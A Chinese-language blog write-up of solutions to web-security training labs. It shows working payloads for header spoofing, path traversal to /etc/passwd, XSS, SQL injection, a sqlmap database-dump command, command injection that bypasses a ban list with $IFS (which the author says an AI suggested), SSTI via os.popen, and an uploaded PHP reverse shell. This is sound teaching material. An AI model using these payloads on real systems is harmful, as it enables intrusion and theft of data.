Skip to main content
  1. Posts/

TAIWAN HolyYoung Training-網頁安全

·1088 words

身為一個資安小萌新,來上這堂課也是很正常的吧。(哭爛)

IDOR Challenge #

Link
在footer有管理員入口

image

image

用burp 試試看
image

看來admin也不行,但她寫非本地訪問
所以加一句

X-Forwarded-For: localhost

image

成功
image

flag{idor}

Path Traversal #

link
裡面有很多喵咪
照片的link是:

image

看到可以做注入的地方了

http://lab.slasho.tw:8003/load.php?file=../../../.../../../etc/passwd

image

拿到根目錄了

http://lab.slasho.tw:8003/load.php?file=../../../.../../../flag

拿flag

image

flag{path_traversal}

Information Leakage #

link
點進來網站裡啥都沒有 看來先dirb

image

看來她有git
那就上工具

githacker --url http://lab.slasho.tw:8004/.git --output-folder result

跑完之後拿到檔案

image

其中main.py裡面:
image

有寫/my_secret_flag_page這個分頁
而secret.json中有帳號密碼
image

拿去登入之後
image

flag{information_leakage}

Local File Inclusion 1 #

link

image

發現照片的檔案路徑
image

那就拜訪一下index.php
image

好像有secret.json
image

用帳密登入之後
image

flag{lfi_1}

Local File Inclusion 2 #

link
他可以上傳檔案了 這不就是大哥教的reverse shell嗎

image

到這個網站
用自己的ip生一個php
image

上傳檔案,在新分頁開啟圖檔
image

就可以下cmd
image

ls裡面超亂的笑死
image

pwd現在的位置/var/www/html/upload
ls / 看根目錄
image

cat /flag

image

flag{lfi_2}

Cross-Site Scripting #

link
題目要我們用XSS叫出encodedFlag

<script>alert(encodeFlag)</script>

image

flag{xss}

SQL Injection 1 #

link
抱歉我無腦

' or '1 = 1

但他的source code是這樣

<div class="hint" id="hint">
          SELECT * FROM user WHERE username='<span class="highlight" id="username-hint"></span>' AND password='<span class="highlight" id="password-hint"></span>'
</div>

flag{sql_injection1}

SQL Injection 2 #

link
這題就比較麻煩,但昨天跟大哥學了sqlmap
之後感覺可以出一篇sqlmap詳細教學
或是取找sql Injection練功房之類的XD

sqlmap -u http://lab.slasho.tw:8008/ --forms --dump --dbs --flush-session --level=5 --risk=3 --batch

image

flag{sql_injection2}

Command Injection 1 #

link
這題就是要輸入command

image

https://example.com ; cat flag

image

flag{command_injection_1}

Command Injection 2 #

link
用跟上面一樣的指令會出現banlist

you hacker !!! dont put these inside: [' ', '&', ';', '@', '%', '^', '~', '`', '<', '>', ',', 'ls', 'cat', 'less', 'tail', 'more', 'whoami', 'pwd', 'echo']  

看了一下 截斷指令應該要用 |/\
然後可能可以用headrevnl之類的
但麻煩的是他ban空格…

AI要我用$IFS環境變數代替空格:

https://example.com|head${IFS}flag

image

又學到了一招

flag{command_injection_2}

Server-Side Template Injection #

link
這題就是SSTI
但我一直很不擅長
感覺也是要寫一篇文來逼自己練習

image

||她的網頁好漂亮 我的Blog也想長這樣||
官方解
參考網站

`{{ cycler.__init__.__globals__.os.popen('cat /flag').read() }}`

flag{ssti}

Disable JavaScript #

link
個人覺得這題蠻邪門的
網站是一個按鈕

image

按下去會被攔截
image

然後他在console噴flag不知道甚麼意思😍😍
image

但正解是在F12設定這裡
image

右邊最下面把這個開起來
image

這樣再去按按鈕就會跳flag了
image

flag{disable_javascript}

Header 1 #

link
好不習慣header的題目不是叫你改method是只要你看Header
在F12 -> Network 這邊refresh網頁

image

就會看到了
image

flag{header}

Header 2 #

link
呈上題有看到一個flag.json

image

flag{dev_tools_network}

Burp Suite #

link
我給這題100分,我一直在找這種好教新手的題目

image

就是要你交出1000000以上
image

開Burp -> Proxy -> Open Browser
image

進入頁面之後Burp開Intercept on
image

之後網頁按送出
在Burp把被攔截的請求中的數字改成我們要的
image

Forward
image

flag{burp_suite}

Kali Linux #

link
這題超怪 但說要kali就dirb一下

dirb http://lab.slasho.tw:8001/

image

然後curl

curl  http://lab.slasho.tw:8001/abc

image

flag{kali_linux}